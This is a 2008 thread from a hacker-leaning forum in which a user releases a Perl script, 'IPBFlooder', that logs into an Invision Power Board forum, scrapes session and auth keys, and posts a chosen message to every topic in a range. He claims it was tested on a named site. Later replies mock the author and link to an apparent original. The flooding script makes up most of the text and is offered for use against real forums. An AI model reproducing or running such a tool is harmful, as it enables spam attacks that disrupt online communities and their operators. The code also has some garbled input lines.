BBS.PROGENIC.COM / Chat / Fubar / -==ipb Topic Replyier + Flooder ==- / Latest Posts

RE: -==ipb Topic Replyier + Flooder ==-

andy — Mon, 28 Apr 2008 05:43:28 GMT

lmfao hahaha! niktrix, you are awesome xD

RE: -==ipb Topic Replyier + Flooder ==-

Anarchy Angel — Sun, 27 Apr 2008 10:56:29 GMT

-Evilthoutz- (4/27/2008)

wow he didnt even try changing the style of the creditz box.. Come on man rofl

my guess is cuz he does not know the lang the tool is in so he didnt want to chance breaking the app

RE: -==ipb Topic Replyier + Flooder ==-

-Evilthoutz- — Sun, 27 Apr 2008 10:54:10 GMT

wow he didnt even try changing the style of the creditz box.. Come on man rofl

RE: -==ipb Topic Replyier + Flooder ==-

G-Brain — Sun, 27 Apr 2008 09:37:25 GMT

I might as well apply for moderator so I can fix this sort of stuff

NikTrix (4/25/2008)

 
#---------------------------- 
#   this programe has been  # 
#   created by NikTrix-Souvico       # 
#   [ 'HellSoft' ] for      # 
#   Flooding IPB Forums     # 
#----------------------------

Those misplaced pound signs, I laughed so hard.

RE: -==ipb Topic Replyier + Flooder ==-

Anarchy Angel — Sun, 27 Apr 2008 07:28:27 GMT

G-Brain (4/27/2008)

http://www.darkc0de.com/c0de/perl/ipbflooder.txt

Great job, dumb ass.

LMAO i was going to say leave it to this guy to make something so annoying but your post says it all, its almost a carbon copy.

good looking out g

i think this should be taken down as a release and moved to fubar

RE: -==ipb Topic Replyier + Flooder ==-

G-Brain — Sun, 27 Apr 2008 03:35:24 GMT

http://www.darkc0de.com/c0de/perl/ipbflooder.txt

Great job, dumb ass.

-==ipb Topic Replyier + Flooder ==-

NikTrix — Fri, 25 Apr 2008 15:46:51 GMT

IPBFlooder
IPBFlooder

Tested in www.twacha.com ^_^"
-----------------------------------------------

#----------------------------
# this programe has been #
# created by NikTrix-Souvico #
# [ 'HellSoft' ] for #
# Flooding IPB Forums #
#----------------------------

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;

#Variables
my $url = undef;
my $login = "act=Login&CODE=01";
my $UserName = undef;
my $PassWord = undef;
my $CookieDate = 1;
my $SID = undef;
my $SE = undef;
my $MSG = undef;

#Prototype
sub IPBFlood($);

#Main
print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team";

print "Url\t: ";chomp($url=);
print "UserName\t: ";chomp($UserName=);
print "Password\t: ";chomp($PassWord=);
print "Start [to] End\t: ";chomp($SE=);
print "Message\t: ";chomp($MSG=);

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0");
my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);
$ua->cookie_jar($cj);

#-get SID
my $r = $ua->get($url);
if($r->is_success){
#Find SID ?
($SID) = $r->content =~/\?s=(\w{32})&.*/i;
print "SID : $SID";
}

#-Connecting ...
$r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
if($r->is_success){
print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
my($Start , $End) = split(/-/,$SE);
foreach($Start..$End){
IPBFlood($_);
}
}

#Subroutines
sub IPBFlood($){
my $Topic = shift;
my $get = $ua->get($url."s=$SID&showtopic=$Topic");
if($get->is_success){
#Get Subforum ID "f" : variable !
if( my ($f) = $get->content =~/f=(\d{1,4})/ ){
print "[-]Subforum ID : $f & Topic N : $Topic";
#Get Post AuthKey for Subforum f=N°
$get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");
# act=post&do=reply_post&f=56&t=43988
if($get->is_success){
##auth_key Ex :
my ( $auth_key ) = $get->content =~/auth_key.*(\w{32})/i;
#attach_post_key Ex :
my ( $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i;
print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";

my %form =(st => 0,
act => "Post",
s => "$SID",
f => "$f",
auth_key => "$auth_key",
removeattachid => "0",
CODE => "03",
t => "$Topic",
attach_post_key => "$attach_post_key",
parent_id => "0",
"ed-0_wysiwyg_used"=> "0",
"editor_ids%5B%5D" => "ed-0",
Post => "$MSG",
enableemo => "yes",
enablesig => "yes",
iconid => "0"
);
$r = $ua->post($url."s=$SID",\%form);
if($r->is_success){
print "Send success !" if( length($r->content)< 300);
}
}
}
}
}